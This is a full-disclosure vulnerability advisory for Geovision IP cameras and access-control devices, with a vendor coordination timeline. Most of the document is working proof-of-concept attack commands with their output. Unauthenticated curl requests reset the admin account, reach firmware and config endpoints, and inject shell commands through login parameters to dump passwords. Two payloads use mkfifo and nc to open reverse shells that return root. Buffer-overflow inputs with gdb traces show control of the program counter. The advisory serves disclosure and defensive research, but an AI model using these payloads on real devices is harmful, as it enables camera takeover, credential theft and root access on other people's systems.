[STX] Subject: Geovision Inc. IP Camera/Video/Access Control Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access Attack vector: Remote Authentication: Anonymous (no credentials needed) Researcher: bashis <mcw noemail eu> (November 2017) PoC: https://github.com/mcw0/PoC Python PoC: https://github.com/mcw0/PoC/blob/master/Geovision-PoC.py Release date: February 1, 2018 Full Disclosure: 90 days Vendor URL: http://www.geovision.com.tw/ Updated FW: http://www.geovision.com.tw/download/product/ heap: Executable + Non-ASLR stack: Executable + ASLR Vulnerable: Practically more or less all models and versions with FW before November/December 2017 of Geovision embedded IP devices suffer from one or more of these vulnerabilities. Verified: GV-BX1500 v3.10 2016-12-02 GV-MFD1501 v3.12 2017-06-19 Timeline: November 5, 2017: Initiated contact with Geovision November 6, 2017: Response from Geovision November 8, 2017: Informed Geovision about quite dangerous bug in 'FilterSetting.cgi' November 8, 2017: Responce from Geovision November 15, 2017: Reached out to Geovision to offer more time until FD (due to the easy exploiting and number of vulnerabilities in large number of products) November 17, 2017: Request from Geovision to have time to end of January 2018 November 18, 2017: Agreed to FD date of February 1, 2018 November 20, 2017: Received one image for test purposes November 26, 2017: ACK to Geovision that image looks good January 16, 2018: Sent this FD and PoC Python to Geovision for comments before FD, if any objections. January 17, 2018: Received all OK from Geovision, no objections, toghether with thanks for the effort for trying to make Geovision products more safe. January 17, 2018: Thanked Geoviosion for good cooperation. February 1, 2018: Full disclosure -[Unathorized Access]- 1) PoC: Reset and change 'admin' to 'root' with passwd 'PWN' (GV-MFD1501 v3.12 2017-06-19) curl -v http://192.168.57.20:80/UserCreat.cgi?admin_username=root\&admin_passwordNew=PWN 2) PoC: Change device WebGUI language back to default curl -v -X POST http://192.168.57.20:80/LangSetting.cgi -d lang_type=0\&submit=Apply 3) Unathorized upgrade of firmware. PoC: Reboot the remote device as in 'run_upgrade_prepare' curl -v "http://192.168.57.20:80/geo-cgi/sdk_fw_update.cgi" URI: http://192.168.57.20/ssi.cgi/FirmwareUpdate.htm 4) PoC: Upload of Firmware header for checking correct firmware. curl -v -X PUT "http://192.168.57.20:80/geo-cgi/sdk_fw_check.cgi" -d "BAAAALAAAAABAgAAAAAAADKvfBIAAAABGDIpBwAAAABhc19jcmZpZAAAAAAAAAAALgYAALAAAADXe///AAAAAAAAAABib290bG9hZGVyLmJpbgAAAAA0ALAAAgBOAP//AAAAAAAAAAB1SW1hZ2UAAAAAAAAAAAAA1OIaALAANgDSw///AAAAAAAAAAByYW1kaXNrLmd6AAAAAAAAALBtArAAUgAIuf//AAAAAAAAAAAjIFN0YXJpbmcgd2l0aCAnSElEOicgYW5kIHNwbGl0IGJ5ICcsJyBhbmQgZW5kIHdpdGggJ1xyXG4nICgweDBkIDB4MGEpDQpISUQ6MTE3MCxOYW1lOkdWLUxQQzIyMTAsRG93blZlcjoxMDINCkhJRDoxMTUwLE5hbWU6R1YtUFBUWjczMDBfU0QsRG93blZlcjozMDUNCkhJRDoxMTUyLE5hbWU6R1YtUFBUWjczMDBfRkUsRG93blZlcjozMDUNCkhJRDoxMTc2LE5hbWU6R1YtQlgzNDAwRSxEb3duVmVyOjMwMw0KSElEOjExNzUsTmFtZTpHVi1CWDE1MDBFLERvd25WZXI6MzAzDQpISUQ6MTEwMSxOYW1lOkdWLVVORkUyNTAzLERvd25WZXI6MzA2DQpISUQ6MTE0NSxOYW1lOkdWLVVOMjYwMCxEb3c=" /var/log/messages 192.168.57.1 - - [01/Jan/1970:00:32:43 +0000] "PUT /geo-cgi/sdk_fw_check.cgi HTTP/1.1" 200 25000 "" "curl/7.38.0" Nov 5 17:11:51 thttpd[1576]: (1576) cgi[3734]: Spawned CGI process 1802 to run 'geo-cgi/sdk_fw_check.cgi', query[] Nov 5 17:11:51 sdk_fw_check.cgi: CONTENT_LENGTH = 684 Nov 5 17:11:51 sdk_fw_check.cgi: (1802) main[183]: base64 encode length : 684 Nov 5 17:11:51 sdk_fw_check.cgi: (1802) main[184]: base64 encode output : BAAAALAAAAABAgAAAAAAADKvfBIAAAABGDIpBwAAAABhc19jcmZpZAAAAAAAAAAALgYAALAAAADXe///AAAAAAAAAABib290bG9hZGVyLmJpbgAAAAA0ALAAAgBOAP//AAAAAAAAAAB1SW1hZ2UAAAAAAAAAAAAA1OIaALAANgDSw///AAAAAAAAAAByYW1kaXNrLmd6AAAAAAAAALBtArAAUgAIuf//AAAAAAAAAAAjIFN0YXJpbmcgd2l0aCAnSElEOicgYW5kIHNwbGl0IGJ5ICcsJyBhbmQgZW5kIHdpdGggJ1xyXG4nICgweDBkIDB4MGEpDQpISUQ6MTE3MCxOYW1lOkdWLUxQQzIyMTAsRG93blZlcjoxMDINCkhJRDoxMTUwLE5hbWU6R1YtUFBUWjczMDBfU0QsRG93blZlcjozMDUNCkhJRDoxMTUyLE5hbWU6R1YtUFBUWjczMDBfRkUsRG93blZlcjoz Nov 5 17:11:51 sdk_fw_check.cgi: (1802) main[185]: decode length : 512 Nov 5 17:11:51 sdk_fw_check.cgi: (1802) main[186]: decode output : ^D Nov 5 17:11:51 sdk_fw_check.cgi: (1802) check_image_format_is_OK[839]: (1) Product Error: Image's magic[513] != DEV_MAGIC[1000] Nov 5 17:11:51 sdk_fw_check.cgi: (1802) check_firmware[135]: ERROR : check firmware, length [512] 5) Unathorized access of 'sdk_config_set.cgi' to Import Setting (SDK_CONFIG_SET) curl -v -X PUT "http://192.168.57.20:80/geo-cgi/sdk_config_set.cgi" 6) /PSIA/ Access to GET (read) and PUT (write) curl -v -X PUT http://192.168.57.20:80/PSIA/System/reboot curl -v -X PUT http://192.168.57.20:80/PSIA/System/updateFirmware curl -v -X PUT http://192.168.57.20:80/PSIA/System/factoryReset [...] List: /PSIA/System/reboot/index Usage: /PSIA/System/reboot/description PoC: curl -v -X PUT http://192.168.57.20:80/PSIA/System/reboot Full recursive list: /PSIA/indexr -[Remote Command Execution]- 7) PoC will create 'tmp/Login.cgi' with '<!--#include file="SYS_CFG"-->', then Dump All Settings, including login and passwords in clear text by accessing the created Login.htm curl -v "http://192.168.57.20:80/PictureCatch.cgi?username=GEOVISION&password=%3becho%20%22%3c%21--%23include%20file=%22SYS_CFG%22--%3e%22%3etmp/Login.htm%3b&data_type=1&attachment=1&channel=1&secret=1&key=PWNED" ; curl -v "http://192.168.57.20:80/ssi.cgi/tmp/Login.htm" < HTTP/1.1 200 OK ... ------------------------------------- - - - Dump All Settings - - - ------------------------------------- ... 8) PoC will pop reverse connect back shell to 192.168.57.1 /www/PictureCatch.cgi curl -v "http://192.168.57.20:80/PictureCatch.cgi?username=GEOVISION\&password=%3bmkfifo%20/tmp/s0%3bnc%20-w%205%20192.168.57.1%201337</tmp/s0|/bin/sh>/tmp/s0%202>/tmp/s0%3brm%20/tmp/s0%3b\&data_type=1\&attachment=1\&channel=1\&secret=1\&key=PWNED" $ ncat -vlp 1337 Ncat: Version 7.12 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 Ncat: Connection from 192.168.57.20. Ncat: Connection from 192.168.57.20:55331. pwd /www id uid=0(root) gid=0(root) exit $ 9) /www/JpegStream.cgi curl -v "http://192.168.57.20:80/JpegStream.cgi?username=GEOVISION\&password=%3bmkfifo%20/tmp/s0%3bnc%20-w%205%20192.168.57.1%201337</tmp/s0|/bin/sh>/tmp/s0%202>/tmp/s0%3brm%20/tmp/s0%3b\&data_type=1\&attachment=1\&channel=1\&secret=1\&key=PWNED" $ ncat -vlp 1337 Ncat: Version 7.12 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 Ncat: Connection from 192.168.57.20. Ncat: Connection from 192.168.57.20:55332. pwd /www id uid=0(root) gid=0(root) exit $ Problem(s): SIiUTIL_GetDecryptData calling popen() "sh -c /var/www/testbf d PWNED ;mkfifo /tmp/s0;..." without proper sanitation of user input Note: Vulnerable tags: 'username', 'password' and 'key' -[Double free]- 10) curl -v http://192.168.57.20:80/PSIA/System/configurationData *** glibc detected *** psia.cgi: double free or corruption (out): 0x00077d10 *** -[Stack Overflow]- 11) /usr/local/thttpd curl -v "http://192.168.57.20:80/htpasswd?password=`for((i=0;i<140;i++));do echo -en "X";done`AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII" Program received signal SIGSEGV, Segmentation fault. 0x49494948 in ?? () (gdb) bt #0 0x49494948 in ?? () #1 0x0003889c in ?? () Backtrace stopped: previous frame identical to this frame (corrupt stack?) (gdb) i reg r0 0x0 0 r1 0x369650 3577424 r2 0x1 1 r3 0x68 104 r4 0x41414141 1094795585 r5 0x42424242 1111638594 r6 0x43434343 1128481603 r7 0x44444444 1145324612 r8 0x45454545 1162167621 r9 0x46464646 1179010630 r10 0x47474747 1195853639 r11 0x48484848 1212696648 r12 0x3680e8 3571944 sp 0x7ee0fbc8 0x7ee0fbc8 lr 0x3889c 231580 pc 0x49494948 0x49494948 cpsr 0x20000030 536870960 (gdb) 12) /usr/local/thttpd curl -v http://192.168.57.20:80/geo-cgi/param.cgi?skey=`for((i=0;i<44;i++)); do echo -en "X"; done`AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN Program received signal SIGSEGV, Segmentation fault. 0x49494948 in ?? () (gdb) bt #0 0x49494948 in ?? () #1 0x3e4c4d54 in ?? () Backtrace stopped: previous frame identical to this frame (corrupt stack?) (gdb) i reg r0 0xffffffff 4294967295 r1 0x7e963e8c 2123775628 r2 0x0 0 r3 0x242 578 r4 0x41414141 1094795585 r5 0x42424242 1111638594 r6 0x43434343 1128481603 r7 0x44444444 1145324612 r8 0x45454545 1162167621 r9 0x46464646 1179010630 r10 0x47474747 1195853639 r11 0x48484848 1212696648 r12 0xa 10 sp 0x7e983c48 0x7e983c48 lr 0x3e4c4d54 1045187924 pc 0x49494948 0x49494948 cpsr 0x60000030 1610612784 (gdb) 13) /www/PictureCatch.cgi curl -v "http://192.168.57.20:80/PictureCatch.cgi?username=`for((i=0;i<324;i++));do echo -en "A";done`BBBB&password=GEOVISION&data_type=1&attachment=1&channel=1&secret=1&key=PWNED" [pid 2215] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} --- 14) /www/Login3gpp.cgi curl -v "http://192.168.57.20:80/Login3gpp.cgi?username=`for((i=0;i<444;i++));do echo -en "A";done`BBBB&password=PWNED" [pid 2161] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424243} --- 15) /www/Login.cgi curl -v "http://192.168.57.20:80/Login.cgi?username=`for((i=0;i<477;i++));do echo -en "A";done`BBBB&password=PWNED" [pid 2135] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} --- Note: username and password uses strcpy() and both are vulnerable. However, 'password' cannot be used remotely since 'thttpd' checking for this, and is vulnerable for stack overflow. Have a nice day /bashis [ETX]